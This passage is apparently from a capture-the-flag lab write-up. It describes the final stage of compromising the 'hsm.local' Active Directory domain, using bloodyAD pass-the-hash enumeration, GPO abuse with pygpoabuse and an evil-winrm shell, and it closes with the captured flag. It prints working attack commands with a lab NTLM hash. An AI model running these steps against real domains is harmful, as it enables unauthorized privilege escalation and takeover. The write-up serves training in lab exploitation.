`BloodyAD` successfully interfaces with the degraded LDAP service to collect complete BloodHound data using Pass-the-Hash.

**Command Syntax**

```bash
# Collect BloodHound JSON data using BloodyAD with Pass-the-Hash
bloodyAD -H <DC_IP> -d hsm.local -u bbarkinson -p :<NTLM_HASH> get bloodhound
```

> **Note on Syntax:** BloodyAD requires specifying the target DC via `-h <DC_IP>` and passing the NTLM hash into the `-p` flag formatted with a leading colon (`:<NTLM_HASH>`).

```
bloodyAD -H 10.1.205.161 -d hsm.local -u bbarkinson -p :53c3709ae3d9f4428a230db81361ffbc get bloodhound
```

<figure><img src="/files/bAOZEDqxXebOutRyg37B" alt=""><figcaption></figcaption></figure>

## AD Enumeration - Part 2 <a href="#user-content-a-d-enumeration---part-2" id="user-content-a-d-enumeration---part-2"></a>

### **1. BloodHound Community Edition Setup** <a href="#user-content-1-bloodhound-community-edition-setup" id="user-content-1-bloodhound-community-edition-setup"></a>

Modern versions of BloodHound CE are deployed via Docker using the SpecterOps `bloodhound-cli` utility, which abstracts away the older, manual Neo4j database configurations.

**Key Deployment Steps:**

1. **Installation:** Run the CLI tool to download and deploy the Docker containers.
2. **Initial Credentials:** The CLI will output a randomly generated password in the terminal for the default `admin` user.
3. **Access:** The web interface binds to `http://localhost:8080`.

```bash
# Install and deploy BloodHound CE via Docker
sudo ./bloodhound-cli install

# If you ever lose the password, you can reset it using:
sudo ./bloodhound-cli resetpwd
```

### **2. Active Directory Enumeration** <a href="#user-content-2-active-directory-enumeration" id="user-content-2-active-directory-enumeration"></a>

Once the JSON loot files (`.zip`) generated by `bloodyAD` are uploaded to the BloodHound interface, we map the permissions of our compromised account.

**Target User:** `bbarkinson` (Finance Department)

* **Group Memberships:** The user is a member of the **Remote Management Users** group. This is a critical finding, as it means we can likely use WinRM (`evil-winrm`) to access target machines interactively if we obtain a plaintext password or can perform a PtH attack.
* **Outbound Object Control (The Attack Path):** The user possesses **GenericWrite** privileges over a Group Policy Object (GPO) named **"finance policy"**.
* **Target Scope:** BloodHound shows a "GP Link" indicating this finance policy is applied directly to an Organizational Unit (OU) containing the Domain Controller (`dc1.hsm.local`).

<figure><img src="/files/rUGhfk1IsdayaBtdu5zl" alt=""><figcaption></figcaption></figure>

### **3. Concept: Group Policy Object (GPO) Abuse** <a href="#user-content-3-concept-group-policy-object-gpo-abuse" id="user-content-3-concept-group-policy-object-gpo-abuse"></a>

Active Directory uses GPOs to push configurations, security settings, and scripts to users and computers.

* **The Vulnerability:** `GenericWrite` access grants the ability to modify any non-protected attribute on the target object. Because `bbarkinson` can edit the "finance policy" GPO, and that GPO applies to the Domain Controller, we can inject a malicious policy.
* **The Exploit:** We can weaponize this by creating an **Immediate Scheduled Task** within the GPO. When the Domain Controller updates its group policy (or processes the immediate task), it will execute our payload as `NT AUTHORITY\SYSTEM`.

### **4. Exploit Tooling: `pygpoabuse`** <a href="#user-content-4-exploit-tooling-pygpoabuse" id="user-content-4-exploit-tooling-pygpoabuse"></a>

To execute the attack from a Linux attack host, we use `pygpoabuse` (a Python port of the popular C# tool `SharpGPOAbuse`). This tool connects to the domain and injects a malicious scheduled task into the target GPO.

**Objective for Part 8:** You will need to construct a `pygpoabuse` payload that leverages the NTLM hash (since the plaintext password is unknown). The standard payload typically adds a controlled user to the local `Administrators` group or the `Domain Admins` group.

```bash
# Conceptual syntax for pygpoabuse using a password (or hash if supported)
# You will need to extract the exact GPO-ID from the BloodHound interface.

python3 pygpoabuse.py 'hsm.local/bbarkinson'\
  -hashes :<NTLM_HASH>\
  -gpo-id <TARGET_GPO_ID_FROM_BLOODHOUND>\
  -command 'net localgroup Administrators bbarkinson /add' -f\
```

*(Note: You will need to verify the exact authentication syntax---whether `-hashes LM:NT` or `-p :<hash>`---based on the specific fork of `pygpoabuse` you are utilizing).*

```
python3 pygpoabuse.py 'hsm.local/bbarkinson' \
  -hashes ':53c3709ae3d9f4428a230db81361ffbc' \
  -gpo-id '526CDF3A-10B6-4B00-BCFA-36E59DCD71A2' \
  -taskname 'hacksmarter' \
  -command 'net localgroup administrators bbarkinson /add'
```

<figure><img src="/files/7CHZJ4pikd6qwTpzXOHE" alt=""><figcaption></figcaption></figure>

## Full Compromise <a href="#user-content-full-compromise" id="user-content-full-compromise"></a>

### 1. Key Terms & Concepts <a href="#user-content-1-key-terms--concepts" id="user-content-1-key-terms--concepts"></a>

* **Group Policy Object (GPO) Abuse:** GPOs are used by AD administrators to manage configurations and deploy scripts/software across the domain. If an attacker gains write access to a GPO linked to critical infrastructure (like a Domain Controller), they can inject malicious configurations (e.g., Immediate Scheduled Tasks) that execute as `NT AUTHORITY\SYSTEM` on the target machines.
* **GenericWrite (ACL Permission):** An Active Directory permission that grants the trustee the ability to update any non-protected attribute on the target object. In this scenario, the user `B.bbarkinson` holds `GenericWrite` over the "finance policy" GPO.
* **Pass-the-Hash (PtH) in Custom Tooling:** Many Python-based offensive tools (like Impacket or `pygpoabuse`) allow for Pass-the-Hash by supplying the NTLM hash via the `-hashes` flag (format usually `LM:NT` or just `:NT`), negating the need to crack the hash for a plaintext password.
* **Remote Management Users Group:** A built-in AD group that permits members to interact with systems remotely via Windows Remote Management (WinRM). Because `bbarkinson` was a member of this group, `evil-winrm` could be used to establish a session once administrative rights were granted.
* **Python Virtual Environments (`venv`):** An essential operational security and stability practice. Running tools inside an isolated virtual environment prevents dependency conflicts (dependency hell) with other offensive tools installed globally on the attack host.

### 2. Methodology & Execution <a href="#user-content-2-methodology--execution" id="user-content-2-methodology--execution"></a>

#### Step 1: Extract Target GPO ID from BloodHound <a href="#user-content-step-1-extract-target-gpo-id-from-bloodhound" id="user-content-step-1-extract-target-gpo-id-from-bloodhound"></a>

To weaponize the GPO, the exact Object ID must be identified.

1. In BloodHound, click on the vulnerable GPO (e.g., "finance policy").
2. Look at the Node Info panel on the right.
3. Copy the **GPC Path** / **Object ID** (a long GUID formatted like `{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}`).

<figure><img src="/files/uGPcl0j8zdeuLDbmkcQ8" alt=""><figcaption></figcaption></figure>

#### Step 2: Prepare the Attack Environment (`pygpoabuse`) <a href="#user-content-step-2-prepare-the-attack-environment-pygpoabuse" id="user-content-step-2-prepare-the-attack-environment-pygpoabuse"></a>

To avoid breaking global Python packages, `pygpoabuse` dependencies should be installed in a virtual environment.

```bash
# Navigate to the pygpoabuse directory
cd /path/to/pygpoabuse

# Create a new Python virtual environment
python3 -m venv myenv

# Activate the virtual environment
source myenv/bin/activate

# Install required dependencies
pip3 install -r requirements.txt
```

#### Step 3: Weaponize the GPO <a href="#user-content-step-3-weaponize-the-gpo" id="user-content-step-3-weaponize-the-gpo"></a>

Using `pygpoabuse`, inject a malicious configuration into the GPO. The payload adds the compromised user (`bbarkinson`) to the local `Administrators` group of the machine processing the GPO (the Domain Controller).

Bash

```bash
# Execute pygpoabuse using Pass-the-Hash
# Replace <HASH> with the NTLM hash and <GPO_ID> with the ID extracted from BloodHound
python3 pygpoabuse.py hsm.local/bbbarkinson -hashes ':[NTLM-Hash]' -gpo-id "[GPO_ID]" -command 'net localgroup Administrators bbbarkinson /add' -f
```

*Note: GPOs typically update dynamically, meaning the domain controller will eventually pull this policy and execute the injected `net localgroup` command. `pygpoabuse` is designed to trigger this via an Immediate Scheduled Task.*

#### Step 4: Establish Remote Access <a href="#user-content-step-4-establish-remote-access" id="user-content-step-4-establish-remote-access"></a>

Once the GPO is processed and `bbarkinson` is added to the Domain Controller's local Administrators group, we leverage WinRM to secure an interactive shell.

```bash
# Connect to the Domain Controller via WinRM using Pass-the-Hash
evil-winrm -i dc01.hsm.local -u bbarkinson -H <HASH>
```

<figure><img src="/files/egZTAnMVm4BZit16UuUe" alt=""><figcaption></figcaption></figure>

#### Step 5: Post-Exploitation Verification & Loot <a href="#user-content-step-5-post-exploitation-verification--loot" id="user-content-step-5-post-exploitation-verification--loot"></a>

Verify the user's elevated privileges and extract the final objective (root/system flag).

```powershell
# Verify administrative group membership
net user bbarkinson

# Navigate to the Administrator's desktop to retrieve the final flag
cd C:\Users\Administrator\Desktop
```

**Engagement Conclusion:** By starting from a blind SSRF/SSTI on a Linux web server, pivoting to a local workstation, abusing `SeBackupPrivilege` to extract local credentials, navigating a degraded LDAP environment using `bloodyAD`, and finally exploiting a weak ACL (`GenericWrite`) on a Domain Controller GPO, the `hsm.local` domain was fully compromised.

{% hint style="info" %}
HSM{752383JKSCJ93255JSJFLSA0FJDSAFSJKFSI239JSDFSASJDKFSADF}
{% endhint %}

<figure><img src="/files/SSaTsHdMGzqtypjBln7G" alt=""><figcaption></figcaption></figure>
